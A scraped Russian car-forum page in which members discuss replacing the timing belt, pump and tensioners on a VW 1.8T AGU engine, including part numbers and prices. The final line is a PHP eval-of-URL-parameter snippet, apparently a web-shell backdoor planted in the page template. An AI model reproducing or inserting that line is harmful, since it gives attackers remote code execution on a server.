+ Ответить в теме
Страница 1 из 4 1 2 3 ... ПоследняяПоследняя
Показано с 1 по 10 из 36

Тема: ГРМ


  1. #1
    GTI-Racing Grisha is a jewel in the rough Grisha is a jewel in the rough Grisha is a jewel in the rough Аватар для Grisha
    Регистрация
    03.04.2007
    Откуда
    ЗЕЛАО
    Машина
    MKV R32
    Сообщений
    1,576

    ГРМ

    Ребят, подскажите кто када менял ГРМ на 1,8T AGU.
    Пробег уже 98000км.
    Если кто знает также подскажите номера оригинальных частей, тех что менять надо.
    а то инфа какая-то противоречивая, в разных местах разные коды дают, в магазинах.

  2. #2
    GTI-Racing Grisha is a jewel in the rough Grisha is a jewel in the rough Grisha is a jewel in the rough Аватар для Grisha
    Регистрация
    03.04.2007
    Откуда
    ЗЕЛАО
    Машина
    MKV R32
    Сообщений
    1,576
    ну что никто не менял что-ли?

  3. #3
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    я думал на 90 менять, начал искать номера и т.д., а оказалось менять надо на 120 =(
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  4. #4
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    90 т. км. ........... но у каждого есть глазюльки, снимите крышку оцените состояние ремня. Если терпение железное, наберите в в инете: порвался ремень ГРМ ))))))))))))
    песок сыпется....не останавливайтесь на достигнутом !

  5. #5
    GTI-Racing Grisha is a jewel in the rough Grisha is a jewel in the rough Grisha is a jewel in the rough Аватар для Grisha
    Регистрация
    03.04.2007
    Откуда
    ЗЕЛАО
    Машина
    MKV R32
    Сообщений
    1,576
    да смарел я уже на него.. ну так потасканый.. на холодную уже посвистывает..
    менять нада уже 100 тык. обрыва нехачу.

  6. #6
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от Grisha Посмотреть сообщение
    да смарел я уже на него.. ну так потасканый.. на холодную уже посвистывает..
    менять нада уже 100 тык. обрыва нехачу.

    ремень ГРМ не может посвистывать т.к. не проскальзывает ниразу :)........ другой посвистывает
    песок сыпется....не останавливайтесь на достигнутом !

  7. #7
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    =)) в пиндосии помпу меняют с ремнем, у них вроде это болезнь, чтоб еще раз не менять потом
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  8. #8
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от mas1er Посмотреть сообщение
    =)) в пиндосии помпу меняют с ремнем, у них вроде это болезнь, чтоб еще раз не менять потом

    это не болезнь, а требование VW. При замене ремня по регламенту замена и помпы. Натяжитель и ролик разумеется в оригинальном комплекте обязательно присутствует.

    Первый раз меняя ремень я не менял помпу, но ремень я менял на 60 тыщ. (так спокойней). Помпа была как новая, её и поставили назад. Помойму она до сих пор стоит.
    песок сыпется....не останавливайтесь на достигнутом !

  9. #9
    GTI-Racing est is on a distinguished road Аватар для est
    Регистрация
    18.07.2008
    Машина
    AUM
    Сообщений
    91
    Приветствую.:)

    Вот я тоже озадачился заменой ГРМ. В связи с этим возник вопрос.
    По каталогу ecats, если я правильно понял, комплект ГРМ (без помпы) состоит из:
    1. Pемень зубчатый 06В 109 119А (5);
    2. Pолик натяжителя 06В 109 243D (снят с производства) предлагается 06В 109 243F (8);
    3. Гидронатяжитель 06В 109 477 (9):
    http://www.elcats.ru/vw/scheme.asp?m...1&pid=1FC017FF
    Стоимость этого комплекта, соответственно, 53 USD + 78 USD + 118 USD = 249 USD.

    Но есть еще такая штука, как 06A 198 119B:
    http://www.elcats.ru/vw/scheme.asp?m...1&pid=E17043BB.
    Этот кит стоит 160 USD.

    Что, на ваш взгляд, взять более предпостительно поштучно или комплектом?
    Просто кит в Экзисте обозвали ремкомплектом, поэтому и решил взять помощь клуба.:)

    Заранее благодарен.

  10. #10
    Купил все дешовое,отъездил 40тыщ.Итог, ремень чуть слезает наружу.Придется переделывать вместе с помпой. Менять немного гиморно. Натяжитель вспомогателнах агрегатов тоже обязательно меняйте (гад он)
    Мы Карьяла, нам все Похъёла!

+ Ответить в теме
Страница 1 из 4 1 2 3 ... ПоследняяПоследняя

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}